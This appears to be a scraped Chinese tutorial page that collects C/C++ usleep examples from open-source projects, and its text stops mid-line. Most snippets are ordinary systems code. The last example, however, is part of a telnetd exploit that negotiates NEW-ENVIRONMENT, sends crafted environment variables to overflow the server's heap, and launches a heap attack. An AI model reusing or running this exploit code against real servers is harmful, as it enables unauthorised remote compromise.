您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ usleep函数代码示例

51自学网 2021-06-03 09:23:21
  C++
这篇教程C++ usleep函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中usleep函数的典型用法代码示例。如果您正苦于以下问题:C++ usleep函数的具体用法?C++ usleep怎么用?C++ usleep使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了usleep函数的30个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: nx_connectinstance

NXHANDLE nx_connectinstance(FAR const char *svrmqname){    FAR struct nxfe_conn_s *conn;    struct nxsvrmsg_s       outmsg;    char                    climqname[NX_CLIENT_MXNAMELEN];    struct mq_attr          attr;    int                     ret;    /* Sanity checking */#ifdef CONFIG_DEBUG    if (!svrmqname)    {        errno = EINVAL;        return NULL;    }#endif    /* Allocate the NX client structure */    conn = (FAR struct nxfe_conn_s *)kzalloc(sizeof(struct nxfe_conn_s));    if (!conn)    {        errno = ENOMEM;        goto errout;    }    /* Create the client MQ name */    nxmu_semtake(&g_nxlibsem);    conn->cid = g_nxcid++;    nxmu_semgive(&g_nxlibsem);    sprintf(climqname, NX_CLIENT_MQNAMEFMT, conn->cid);    /* Open the client MQ for reading */    attr.mq_maxmsg  = CONFIG_NX_MXCLIENTMSGS;    attr.mq_msgsize = NX_MXCLIMSGLEN;    attr.mq_flags   = 0;#ifdef CONFIG_NX_BLOCKING    conn->crdmq = mq_open(climqname, O_RDONLY|O_CREAT, 0666, &attr);#else    conn->crdmq = mq_open(climqname, O_RDONLY|O_CREAT|O_NONBLOCK, 0666, &attr);#endif    if (conn->crdmq == (mqd_t)-1)    {        gdbg("mq_open(%s) failed: %d/n", climqname, errno);        goto errout_with_conn;    }    /* Open the server MQ for writing */    attr.mq_maxmsg  = CONFIG_NX_MXSERVERMSGS;    attr.mq_msgsize = NX_MXSVRMSGLEN;    attr.mq_flags   = 0;    conn->cwrmq = mq_open(svrmqname, O_WRONLY|O_CREAT, 0666, &attr);    if (conn->cwrmq == (mqd_t)-1)    {        gdbg("mq_open(%s) failed: %d/n", svrmqname, errno);        goto errout_with_rmq;    }    /* Inform the server that this client exists */    outmsg.msgid = NX_SVRMSG_CONNECT;    outmsg.conn  = conn;    ret = nxmu_sendserver(conn, &outmsg, sizeof(struct nxsvrmsg_s));    if (ret < 0)    {        gdbg("nxmu_sendserver failed: %d/n", errno);        goto errout_with_wmq;    }#if 0    /* Now read until we get a response to this message.  The server will     * respond with either (1) NX_CLIMSG_CONNECTED, in which case the state     * will change to NX_CLISTATE_CONNECTED, or (2) NX_CLIMSG_DISCONNECTED     * in which case, nx_message will fail with errno = EHOSTDOWN.     */    do    {        ret = nx_eventhandler((NXHANDLE)conn);        if (ret < 0)        {            gdbg("nx_message failed: %d/n", errno);            goto errout_with_wmq;        }        usleep(300000);    }    while (conn->state != NX_CLISTATE_CONNECTED);#endif    return (NXHANDLE)conn;errout_with_wmq:    mq_close(conn->cwrmq);//.........这里部分代码省略.........
开发者ID:hechan,项目名称:NuttX,代码行数:101,


示例2: tc_pause

void tc_pause(void){    while (pause_flag) {    	usleep(TC_DELAY_MIN);    }}
开发者ID:BackupTheBerlios,项目名称:tcforge-svn,代码行数:6,


示例3: main

//.........这里部分代码省略.........	fifo_open(fifo, param_fifo_count);	fifo_create_select_set(fifo, param_fifo_count, &fifo_set, &max_fifo_fd);	//initialize forward error correction	fec_init();	// open the interface in pcap	szErrbuf[0] = '/0';	ppcap = pcap_open_live(argv[optind], 800, 1, 20, szErrbuf);	if (ppcap == NULL) {		fprintf(stderr, "Unable to open interface %s in pcap: %s/n",		    argv[optind], szErrbuf);		return (1);	}	pcap_setnonblock(ppcap, 0, szErrbuf); start_time = time(NULL); while (!fBrokenSocket) { 		fd_set rdfs;		int ret;		rdfs = fifo_set;		//wait for new data on the fifos		ret = select(max_fifo_fd + 1, &rdfs, NULL, NULL, NULL);		if(ret < 0) {			perror("select");			return (1);		}		//cycle through all fifos and look for new data		for(i=0; i<param_fifo_count && ret; ++i) {			if(!FD_ISSET(fifo[i].fd, &rdfs)) {				continue;			}			ret--;			packet_buffer_t *pb = fifo[i].pbl + fifo[i].curr_pb;			            //if the buffer is fresh we add a payload header			if(pb->len == 0) {                pb->len += sizeof(payload_header_t); //make space for a length field (will be filled later)			}			//read the data			int inl = read(fifo[i].fd, pb->data + pb->len, param_packet_length - pb->len);			if(inl < 0 || inl > param_packet_length-pb->len){				perror("reading stdin");				return 1;			}			if(inl == 0) {				//EOF				fprintf(stderr, "Warning: Lost connection to fifo %d. Please make sure that a data source is connected/n", i);				usleep(1e5);				continue;			}			pb->len += inl;						//check if this packet is finished			if(pb->len >= param_min_packet_length) {                payload_header_t *ph = (payload_header_t*)pb->data;                ph->data_length = pb->len - sizeof(payload_header_t); //write the length into the packet. this is needed since with fec we cannot use the wifi packet lentgh anymore. We could also set the user payload to a fixed size but this would introduce additional latency since tx would need to wait until that amount of data has been received                pcnt++;				//check if this block is finished				if(fifo[i].curr_pb == param_data_packets_per_block-1) {                    pb_transmit_block(fifo[i].pbl, ppcap, &(fifo[i].seq_nr), i+param_port, param_packet_length, packet_transmit_buffer, packet_header_length, param_data_packets_per_block, param_fec_packets_per_block, param_transmission_count);					fifo[i].curr_pb = 0;				}				else {					fifo[i].curr_pb++;				}			}		}		if(pcnt % 128 == 0) {			printf("%d data packets sent (interface rate: %.3f)/n", pcnt, 1.0 * pcnt / param_data_packets_per_block * (param_data_packets_per_block + param_fec_packets_per_block) / (time(NULL) - start_time));		}	}	printf("Broken socket/n");	return (0);}
开发者ID:WiFiZero,项目名称:wifibroadcast,代码行数:101,


示例4: fontDownload

void fontDownload(string fontname){	bool stop = true;	GuiWindow promptWindow(520,360);	promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);	promptWindow.SetPosition(0, -10);	GuiTrigger trigA;	trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A);	GuiImageData dialogBox(Theme.dialog_background);	GuiImage dialogBoxImg(&dialogBox);	GuiImageData btnOutline(Theme.button_small);	GuiImage btn1Img(&btnOutline);	GuiImage btn2Img(&btnOutline);	GuiImageData btnOutlineOver(Theme.button_small_focus);	GuiImage btn1ImgOver(&btnOutlineOver);	GuiImage btn2ImgOver(&btnOutlineOver);	GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});	titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);	titleTxt.SetPosition(0, 40);	GuiText downloadTxt(tr("Downloading file..."), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});	downloadTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);	downloadTxt.SetPosition(0, -20);	GuiText msgTxt(tr("please wait"), 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});	msgTxt.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);	msgTxt.SetPosition(0, 20);	GuiText btn1Txt(tr("OK"), 22, (GXColor){Theme.button_small_text_1, Theme.button_small_text_2, Theme.button_small_text_3, 255});	GuiButton btn1(btnOutline.GetWidth(), btnOutline.GetHeight());	btn1.SetAlignment(ALIGN_CENTRE, ALIGN_BOTTOM);	btn1.SetPosition(0, -25);	btn1.SetLabel(&btn1Txt);	btn1.SetImage(&btn1Img);	btn1.SetImageOver(&btn1ImgOver);	btn1.SetTrigger(&trigA);	btn1.SetState(STATE_SELECTED);	btn1.SetEffectGrow();	promptWindow.Append(&dialogBoxImg);	promptWindow.Append(&titleTxt);	promptWindow.Append(&downloadTxt);	promptWindow.Append(&msgTxt);	HaltGui();	mainWindow->SetState(STATE_DISABLED);	mainWindow->Append(&promptWindow);	mainWindow->ChangeFocus(&promptWindow);	ResumeGui();	char buffer[100];	msgTxt.SetText(fontname.c_str());	sprintf(buffer, "http://www.nanolx.org/hbf/Fonts/%s", fontname.c_str());	struct block file = downloadfile(buffer);	if (file.data && file.size > 0 && folder_exists())	{		FILE * data = fopen((Settings.device_dat + ":/config/HBF/Fonts/"+ fontname).c_str(), "wb");		if(data)		{			fwrite(file.data, 1, file.size, data);			fclose(data);		}	}	if(file.data)		free(file.data);	msgTxt.SetText("");	downloadTxt.SetText(tr("finished"));	promptWindow.Append(&btn1);	while(stop)	{		usleep(100);		if(btn1.GetState() == STATE_CLICKED)			stop = false;	}	HaltGui();	mainWindow->Remove(&promptWindow);	mainWindow->SetState(STATE_DEFAULT);	ResumeGui();}
开发者ID:DarkMatterCore,项目名称:homebrewfilter,代码行数:92,


示例5: ADIOI_UFS_ReadComplete

void ADIOI_UFS_ReadComplete(ADIO_Request *request, ADIO_Status *status, int *error_code)  {#ifndef NO_AIO#ifndef PRINT_ERR_MSG    static char myname[] = "ADIOI_UFS_READCOMPLETE";#endif#ifdef AIO_SUN     aio_result_t *result=0, *tmp;#else    int err;#endif#ifdef AIO_HANDLE_IN_AIOCB    struct aiocb *tmp1;#endif#endif    if (*request == ADIO_REQUEST_NULL) {	*error_code = MPI_SUCCESS;	return;    }#ifdef AIO_SUN    if ((*request)->queued) {  /* dequeue it */	tmp = (aio_result_t *) (*request)->handle;	while (tmp->aio_return == AIO_INPROGRESS) usleep(1000); 	/* sleep for 1 ms., until done. Is 1 ms. a good number? */	/* when done, dequeue any one request */	result = (aio_result_t *) aiowait(0);        (*request)->nbytes = tmp->aio_return;#ifdef PRINT_ERR_MSG	*error_code = (tmp->aio_return == -1) ? MPI_ERR_UNKNOWN : MPI_SUCCESS;#else	if (tmp->aio_return == -1) {	    *error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR,			  myname, "I/O Error", "%s", strerror(tmp->aio_errno));	    ADIOI_Error((*request)->fd, *error_code, myname);	    	}	else *error_code = MPI_SUCCESS;#endif/* aiowait only dequeues a request. The completion of a request can be   checked by just checking the aio_return flag in the handle passed   to the original aioread()/aiowrite(). Therefore, I need to ensure   that aiowait() is called exactly once for each previous   aioread()/aiowrite(). This is also taken care of in ADIOI_xxxDone */    }    else *error_code = MPI_SUCCESS;#ifdef HAVE_STATUS_SET_BYTES    if ((*request)->nbytes != -1)	MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes);#endif#endif    #ifdef AIO_HANDLE_IN_AIOCB/* IBM */    if ((*request)->queued) {	do {	    err = aio_suspend(1, (struct aiocb **) &((*request)->handle));	} while ((err == -1) && (errno == EINTR));	tmp1 = (struct aiocb *) (*request)->handle;	if (err != -1) {	    err = aio_return(tmp1->aio_handle);	    (*request)->nbytes = err;	    errno = aio_error(tmp1->aio_handle);	}	else (*request)->nbytes = -1;/* on DEC, it is required to call aio_return to dequeue the request.   IBM man pages don't indicate what function to use for dequeue.   I'm assuming it is aio_return! POSIX says aio_return may be called    only once on a given handle. */#ifdef PRINT_ERR_MSG	*error_code = (err == -1) ? MPI_ERR_UNKNOWN : MPI_SUCCESS;#else	if (err == -1) {	    *error_code = MPIR_Err_setmsg(MPI_ERR_IO, MPIR_ADIO_ERROR,             myname, "I/O Error", "%s", strerror(errno));	    ADIOI_Error((*request)->fd, *error_code, myname);	    	}	else *error_code = MPI_SUCCESS;#endif    }    else *error_code = MPI_SUCCESS;#ifdef HAVE_STATUS_SET_BYTES    if ((*request)->nbytes != -1)	MPIR_Status_set_bytes(status, (*request)->datatype, (*request)->nbytes);#endif#elif (!defined(NO_AIO) && !defined(AIO_SUN))/* DEC, SGI IRIX 5 and 6 */    if ((*request)->queued) {	do {	    err = aio_suspend((const aiocb_t **) &((*request)->handle), 1, 0);//.........这里部分代码省略.........
开发者ID:carsten-clauss,项目名称:MP-MPICH,代码行数:101,


示例6: f

void f(){  int i=0;    printf("tid :%d in f: %d/n",getID(),i++);    usleep(90000);}
开发者ID:abhiagar90,项目名称:dejavu,代码行数:6,


示例7: FontList

string FontList(){	string downloadfont = "error";	bool stop = false;	char buffer[100];	sprintf(buffer, "http://www.nanolx.org/hbf/Fonts/");	struct block file = downloadfile(buffer);	if (file.data != NULL)	{		string source_fonts = (char*)file.data;		vector<string> fonts;		while(1)		{			if((signed)source_fonts.find("../Fonts/") == -1)				break;			source_fonts.erase(0, source_fonts.find("../Fonts/"));			source_fonts.erase(0, source_fonts.find("s/") +2);			fonts.push_back(source_fonts.substr(0, source_fonts.find("/"")));			source_fonts.erase(0, source_fonts.find("<"));		}		free(file.data);		GuiText titleTxt(tr("Download"), 26, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});		titleTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);		titleTxt.SetPosition(0, 40);		GuiWindow promptWindow(520,360);		promptWindow.SetAlignment(ALIGN_CENTRE, ALIGN_MIDDLE);		promptWindow.SetPosition(0, -10);		GuiTrigger trigA;		trigA.SetSimpleTrigger(-1, WPAD_BUTTON_A | WPAD_CLASSIC_BUTTON_A, PAD_BUTTON_A);		GuiImageData dialogBox(Theme.dialog_background);		GuiImage dialogBoxImg(&dialogBox);		int place = 23;		int y = 150;		int i = 0;		int number = 5;		int selection = 0;		int textScrollPos = 0;		int selctionPos = y;		GuiText selectionTxt(">>                                                                    <<", 20, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});		selectionTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);		selectionTxt.SetPosition(0, y);		GuiText upTxt("c", 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});		upTxt.SetFont(symbol_ttf, symbol_ttf_size);		upTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);		upTxt.SetPosition(0, y -20);		GuiText downTxt("d", 22, (GXColor){Theme.text_1, Theme.text_2, Theme.text_3, 255});		downTxt.SetFont(symbol_ttf, symbol_ttf_size);		downTxt.SetAlignment(ALIGN_CENTRE, ALIGN_TOP);		downTxt.SetPosition(0, y + (place * (number-1)) + 15);		GuiText * Entrie[number];		for(i=0; i < number && i < (signed)fonts.size(); i++)		{			Entrie[i] = new GuiText(fonts[i].c_str(), 20, (GXColor) {Theme.text_1, Theme.text_2, Theme.text_3, 255});			Entrie[i]->SetAlignment(ALIGN_CENTRE, ALIGN_TOP);			Entrie[i]->SetPosition(0, y);			Entrie[i]->SetMaxWidth(300, SCROLL_HORIZONTAL);			y += place;		}		promptWindow.Append(&dialogBoxImg);		promptWindow.Append(&titleTxt);		promptWindow.Append(&selectionTxt);		for(int x=0; x < i; x++)			promptWindow.Append(Entrie[x]);		if((signed)fonts.size() >= number)		{			promptWindow.Append(&upTxt);			promptWindow.Append(&downTxt);		}		promptWindow.SetEffect(EFFECT_SLIDE_BOTTOM | EFFECT_SLIDE_IN, 50);		HaltGui();		mainWindow->SetState(STATE_DISABLED);		mainWindow->Append(&promptWindow);		mainWindow->ChangeFocus(&promptWindow);		ResumeGui();		while(!stop)		{			usleep(100);			if(WPAD_ButtonsDown(0) & (WPAD_BUTTON_UP | WPAD_CLASSIC_BUTTON_UP) || PAD_ButtonsDown(0) & PAD_BUTTON_UP//.........这里部分代码省略.........
开发者ID:DarkMatterCore,项目名称:homebrewfilter,代码行数:101,


示例8: new_buf_ptr

/* * Connects to a server *  - on success: adds all server related elements *  - on failure: retries */void Communication::AddServer(const boost::system::error_code& error,                              boost::shared_ptr<boost::asio::ip::tcp::socket> soc,                              boost::asio::ip::tcp::endpoint endpoint,                              boost::shared_ptr<std::string> server,                              boost::shared_ptr<std::string> ip,                              boost::shared_ptr<std::string> port){    // remote host is now connected    if (!error)    {        // lock any "sockets_.size()" usage/modification        com_mutex_.lock();        // add a pub, along with all related pub elements        sockets_.push_back(soc);        servers_.push_back(server);        boost::shared_ptr< boost::array<char, 30> > new_buf_ptr(new boost::array<char, 30>);        new_buf_ptr->assign(0);        buf_.push_back(new_buf_ptr);        is_reading_.push_back(false);        Connection new_server;        new_server.pub_id = *server;        new_server.ip = *ip;        new_server.port = *port;        connections_.push_back(new_server);        // report successful connection        out_mutex_.lock();        std::cout << "/n[" << boost::this_thread::get_id()                  << "] >> Connection to " << *server                  << " at " << endpoint << " succeded /n" << std::endl;        out_mutex_.unlock();        // let the read operations begin/continue        is_pending_add_ = false;        pending_add_condition_.notify_one();        // unlock any "sockets_.size()" usage/modification        com_mutex_.unlock();        // inform on first connection        if (sockets_.size() == 1)        {            pending_first_condition_->notify_one();        }    }    // remote host is not connected yet    else if (error.message() == "Connection refused")    {        // try again        usleep(100000);        soc.reset(new boost::asio::ip::tcp::socket(*io_service_));        soc->async_connect(endpoint,                           boost::bind(&Communication::AddServer,                                       this,                                       boost::asio::placeholders::error(),                                       soc,                                       endpoint,                                       server,                                       ip,                                       port));    }    else // report error    {        out_mutex_.lock();        std::cout << "[" << boost::this_thread::get_id()                  << "] Error: " << error.message() << std::endl;        out_mutex_.unlock();    }}
开发者ID:Dim-Sal,项目名称:short,代码行数:77,


示例9: ReadFromRFBServer

rfbBoolReadFromRFBServer(rfbClient* client, char *out, unsigned int n){#undef DEBUG_READ_EXACT#ifdef DEBUG_READ_EXACT	char* oout=out;	int nn=n;	rfbClientLog("ReadFromRFBServer %d bytes/n",n);#endif  /* Handle attempts to write to NULL out buffer that might occur     when an outside malloc() fails. For instance, memcpy() to NULL     results in undefined behaviour and probably memory corruption.*/  if(!out)    return FALSE;  if (client->serverPort==-1) {    /* vncrec playing */    rfbVNCRec* rec = client->vncRec;    struct timeval tv;    if (rec->readTimestamp) {      rec->readTimestamp = FALSE;      if (!fread(&tv,sizeof(struct timeval),1,rec->file))        return FALSE;      tv.tv_sec = rfbClientSwap32IfLE (tv.tv_sec);      tv.tv_usec = rfbClientSwap32IfLE (tv.tv_usec);      if (rec->tv.tv_sec!=0 && !rec->doNotSleep) {        struct timeval diff;        diff.tv_sec = tv.tv_sec - rec->tv.tv_sec;        diff.tv_usec = tv.tv_usec - rec->tv.tv_usec;        if(diff.tv_usec<0) {	  diff.tv_sec--;	  diff.tv_usec+=1000000;        }#ifndef WIN32        sleep (diff.tv_sec);        usleep (diff.tv_usec);#else	Sleep (diff.tv_sec * 1000 + diff.tv_usec/1000);#endif      }      rec->tv=tv;    }        return (fread(out,1,n,rec->file) != n ? FALSE : TRUE);  }    if (n <= client->buffered) {    memcpy(out, client->bufoutptr, n);    client->bufoutptr += n;    client->buffered -= n;#ifdef DEBUG_READ_EXACT    goto hexdump;#endif    return TRUE;  }  memcpy(out, client->bufoutptr, client->buffered);  out += client->buffered;  n -= client->buffered;  client->bufoutptr = client->buf;  client->buffered = 0;  if (n <= RFB_BUF_SIZE) {    while (client->buffered < n) {      int i;      if (client->tlsSession)        i = ReadFromTLS(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered);      else#ifdef LIBVNCSERVER_HAVE_SASL      if (client->saslconn)        i = ReadFromSASL(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered);      else {#endif /* LIBVNCSERVER_HAVE_SASL */        i = read(client->sock, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered);#ifdef WIN32	if (i < 0) errno=WSAGetLastError();#endif#ifdef LIBVNCSERVER_HAVE_SASL      }#endif        if (i <= 0) {	if (i < 0) {	  if (errno == EWOULDBLOCK || errno == EAGAIN) {	    /* TODO:	       ProcessXtEvents();	    */	    WaitForMessage(client, 100000);	    i = 0;	  } else {	    rfbClientErr("read (%d: %s)/n",errno,strerror(errno));	    return FALSE;//.........这里部分代码省略.........
开发者ID:LibVNC,项目名称:libvncserver,代码行数:101,


示例10: recibe_ACK

  /*frame *trama_e, int fde,TEntity *active_en, TAutomat *automata */void recibe_ACK(Argumentos * argu, TAutomat *automata, int fin_f){ int tam_trama,conretx; frame trama_recb; long t_ini,t_actual; char aux; struct timeval tiempo;    STOP=FALSE;    conretx=0;/* //Empieza el temporizador*/  semaphore_timeout_set(argu->tempo,argu,automata);        gettimeofday(&tiempo,NULL);       t_ini= tiempo.tv_sec+(long)argu->tempo+1;    while (STOP==FALSE) {               gettimeofday(&tiempo,NULL);             /*  printf("t_ini =  %i/n", t_ini);              printf("t actual = %i /n", tiempo.tv_sec);                  */               if ( (t_ini+(long)argu->tempo) <= tiempo.tv_sec ){                     t_ini =tiempo.tv_sec;                     printf("Reenviamos trama desde temporizador /n");                     automat_transit(argu->active_en, automata, TIME_O, argu);                                       argu->tr_perdidas ++;                   }                             printf(".");                       printf("bucle - espero ACK/n");  	               usleep(100000);/*tras recibir SIGIO, wait_flag = FALSE, la entrada esta disponible y puede ser leida */          // printf("En el recibe_ack el wait_flag vale  :%i /n", wait_flag);                if (wait_flag==FALSE) {                          //Al recibir datos en el canal cancelo el temporizador                           semaphore_timeout_cancel( );    		                  //tam_trama = from_physical_layer(argu->trama_e, argu->fde);  				  //printf("control : %c /n", argu->trama_e->control);			  //if ( c=='A'/*128 ACK*/){                                   tam_trama = from_physical_layer(&trama_recb, argu->fde);                                    printf("control : %c /n", trama_recb.control);				   				                         if ( trama_recb.control=='A'/*128 ACK*/){                                                                     				//Si el ACK no lleva la secuencia para la siguiente trama   			     if (argu->sec_siguiente != trama_recb.address)			         {  //transito automa con ese evento				 				     automat_transit(argu->active_en, automata, ACK_N_SIG, argu);  				 }	  		         else //else1->  Si el ACK lleva la secuencia para la siguiente trama 	  			 {	  			  argu->sec_actual= argu->sec_siguiente; 	  			   //Se desdignan la secuencia actual y la secuencia esperada                                     switch (argu->sec_actual)   		  		      {   		 		       case 'A': { printf("Estoy en A espero un B  /n" );   		 		                argu->sec_siguiente = 'B';		  						 break;                                                 }                                           case 'B': { printf("Estoy en B espero un A  /n" );   			  	                argu->sec_siguiente = 'A';			 					 break;                                                 }                                        default : { printf("Es un estado no designado  /n"); break; }       			 	      }   				    /*copiamos los datos de la trama al paquete*/                                      printf(" Recibimos el ACK /n");      	                              STOP=TRUE; /* para el bucle si solo entra un CR */				      printf(" /n Para, y enviamos la siguiente trama /n");                                    //Para enviar la trama vacia                                 if (fin_f ==0){	                                      	             /* entidad , automata, evento, argumentos de evento */                      	    	    automat_transit(argu->active_en, automata, ACK_SIG, argu);                                   }                                     else{                                       printf(" /n Se ha enviado la ultima trama /n");                                            argu->trama_e->data[0]='/0';                                            argu->trama_e->control='T';//0x09;                                      printf("Se envia la trama vacia %s: ,tam : %d /n",argu->trama_e->data,strlen(argu->trama_e->data));                                           to_physical_layer(argu->trama_e,argu->fde);                                           automat_transit(argu->active_en,automata,ACK_0, argu);                                       }                                                                              /*Se puede borrar ya que paramos*/                                     wait_flag = TRUE;  /* espera una nueva entrada */			         }//else 1	                                  }//if		             else//else2			      {				      			  	//Si el NACK lleva la secuencia de la trama actual			       if (argu->sec_actual == trama_recb.address)//.........这里部分代码省略.........
开发者ID:dimitri001,项目名称:TELEINF_PR2,代码行数:101,


示例11: main

//.........这里部分代码省略.........  if ( (argu->trama_e =  (frame *) malloc(sizeof(frame)) )== NULL)     {       perror("No hay suficiente espacio de memoria /n");       exit (-1);      }  argu->paquete->n = n; argu->n_rtx=n_rtx;/*Se le pasa el puerto*/ argu->fde = fd;          /*argu.paquete.data== argu y paquete son pteros a struct  */           memset(argu->paquete->data,'/0',sizeof(argu->paquete->data));         /*devuelve el nde caract leidos*de arch */            n_carac= from_network_layer (argu->paquete,arch);/*==============================================================/*=======================================================*/ /*  */        argu->retardo = retardo;		argu->sec_actual= 'A';        argu->sec_siguiente='B';	printf(" Empieza el retardo  /n" );  //usleep(retardo);printf(" 1) el retardo1 es = %i /n", retardo );  //usleep(argu->retardo);printf(" 2) Retardo2 es = %i /n", argu->retardo ); argu->active_en=active_en;printf("Estoy en el estado =  %i /n",argu->active_en->myCurrentState);printf(" Secuencia antes enviar %c/n", argu->trama_e->address);                /* entidad , automata, evento, argumentos de evento */automat_transit(argu->active_en,automata,EV_INI, argu);printf(" Secuencia despues de enviar %c /n", argu->trama_e->address);trama_r = trama;printf("Estoy en el estado =  %i /n",argu->active_en->myCurrentState);printf(" va al bucle /n");fin_f=feof(arch);  while (feof(arch)==0)   {                     printf("entra en el bucle /n");/*se guarda el n de caracte que queremos leer*/              paquete.n = n;/*argu.paquete.data== argu y paquete son pteros a struct  */           memset(argu->paquete->data,'/0',sizeof(argu->paquete->data));         /*devuelve el nde caract leidos*de arch */            n_carac= from_network_layer (argu->paquete,arch);           // automat_transit(argu->active_en,automata,ACK, argu);  /*===========================================================================*/ //espero ACK                recibe_ACK(argu, automata,fin_f);                fin_f=feof(arch);//*******************************************************           } //while   recibe_ACK(argu, automata,fin_f);/*//Se envia la trama de finalizacion  trama.data[0]='/0'; trama.control='T';//0x09;printf("Se envia la trama vacia %s: ,tam : %d  /n",trama.data,strlen(trama.data));  to_physical_layer(&trama,fd);   automat_transit(active_en,automata,ACK_0, argu);*/  //usleep(retardo);    usleep(100000);    tcsetattr(fd,TCSANOW,&oldtio); /* restore old modem setings */   close(fd);    fclose(arch);/*Se impirmen las estadisticas*/  printf(" ************************************************** /n");  printf("  (TX) Numero de Tramas Retransmitidas es : %i /n",argu->tra_retx);  printf("  (TX/RX) Numero de Tramas Perdidas es : %i /n",argu->tr_perdidas);    argu->active_en=active_en;    free (argu->trama_e);    automat_destroy( automata );}
开发者ID:dimitri001,项目名称:TELEINF_PR2,代码行数:101,


示例12: msm_dai_q6_auxpcm_prepare

static int msm_dai_q6_auxpcm_prepare(struct snd_pcm_substream *substream,		struct snd_soc_dai *dai){	struct msm_dai_q6_dai_data *dai_data = dev_get_drvdata(dai->dev);	int rc = 0;	struct msm_dai_auxpcm_pdata *auxpcm_pdata =			(struct msm_dai_auxpcm_pdata *) dai->dev->platform_data;	mutex_lock(&aux_pcm_mutex);	if (aux_pcm_count == 2) {		dev_dbg(dai->dev, "%s(): dai->id %d aux_pcm_count is 2. Just"			" return./n", __func__, dai->id);		mutex_unlock(&aux_pcm_mutex);		return 0;	} else if (aux_pcm_count > 2) {		dev_err(dai->dev, "%s(): ERROR: dai->id %d"			" aux_pcm_count = %d > 2/n",			__func__, dai->id, aux_pcm_count);		mutex_unlock(&aux_pcm_mutex);		return 0;	}	aux_pcm_count++;	if (aux_pcm_count == 2)  {		dev_dbg(dai->dev, "%s(): dai->id %d aux_pcm_count = %d after "			" increment/n", __func__, dai->id, aux_pcm_count);		mutex_unlock(&aux_pcm_mutex);		return 0;	}	pr_debug("%s:dai->id:%d  aux_pcm_count = %d. opening afe/n",			__func__, dai->id, aux_pcm_count);	rc = afe_q6_interface_prepare();	if (IS_ERR_VALUE(rc))		dev_err(dai->dev, "fail to open AFE APR/n");	/*	 * For AUX PCM Interface the below sequence of clk	 * settings and afe_open is a strict requirement.	 *	 * Also using afe_open instead of afe_port_start_nowait	 * to make sure the port is open before deasserting the	 * clock line. This is required because pcm register is	 * not written before clock deassert. Hence the hw does	 * not get updated with new setting if the below clock	 * assert/deasset and afe_open sequence is not followed.	 */	clk_reset(pcm_clk, CLK_RESET_ASSERT);	afe_open(PCM_RX, &dai_data->port_config, dai_data->rate);	afe_open(PCM_TX, &dai_data->port_config, dai_data->rate);	rc = clk_set_rate(pcm_clk, auxpcm_pdata->pcm_clk_rate);	if (rc < 0) {		pr_err("%s: clk_set_rate failed/n", __func__);		return rc;	}	clk_enable(pcm_clk);	//HTC_AUD++	//There is downlink no sound when receiving a MT-call.	//Adding a delay to solve this issue.	usleep(15000);	//HTC_AUD--	clk_reset(pcm_clk, CLK_RESET_DEASSERT);	mutex_unlock(&aux_pcm_mutex);	return rc;}
开发者ID:ms79723,项目名称:HTC-Jewel-Kernel-OC,代码行数:75,


示例13: main

main (int argc, char *argv[]){  int br, l, dosleep = 0;  int percent = 0;  char spin;  unsigned char w;  bzero (oldenv, sizeof (oldenv));  argv++;  dalen = strlen ("clarity.local");  while (argv[0])    {      if (!strcmp (argv[0], "--pause"))        dosleep = 1;      if (!strcmp (argv[0], "--size") && argv[1])        {          mipl = atoi (argv[1]);          argv++;        }      if (!strcmp (argv[0], "--name") && argv[1])        {          dalen = strlen (argv[1]);          argv++;        }      argv++;    }  fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d/n", mipl, dalen);  if(dalen%3==0)  {   offsets=offset3;  }  else  {   ninbufoffset = mipl % 8192;   offsets[11] += 32 * (mipl - ninbufoffset) / 8192;   if (offsets[11] > 255)     {       fprintf (stderr, "  ! MiPl too big.", mipl, dalen);       exit (1);     }   }  sock_setup ();  if (dosleep)    {      system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");      sleep (8);    }  dalen += strlen ("/r/n[ : yes]/r/n");  fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT.../n");  fflush (stderr);  doo (5);  will (39);  fflush (dasock);  read_sock ();  fprintf (stderr, "o Setting up environment vars.../n");  fflush (stderr);  will (1);  push_clean ();  doenv ("USER", "zen-parse");  doenv ("TERM", "zen-parse");  will (39);  fflush (dasock);  fprintf (stderr, "o Doing overflows.../n");  fflush (stderr);  for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)    {      fill (mipl + ENV + offsets[br], offsets[br + 1]);      fflush (dasock);      usleep (100000);      read_sock ();    }  fprintf (stderr, "o Overflows done.../n");  fflush (stderr);  push_clean ();  fprintf (stderr, "o Sending IACs to start login process.../n");  fflush (stderr);  wont (24);  wont (32);  wont (35);  fprintf (dasock, "%s", tosend);  will (1);  push_heap_attack ();  sleep (1);  fprintf 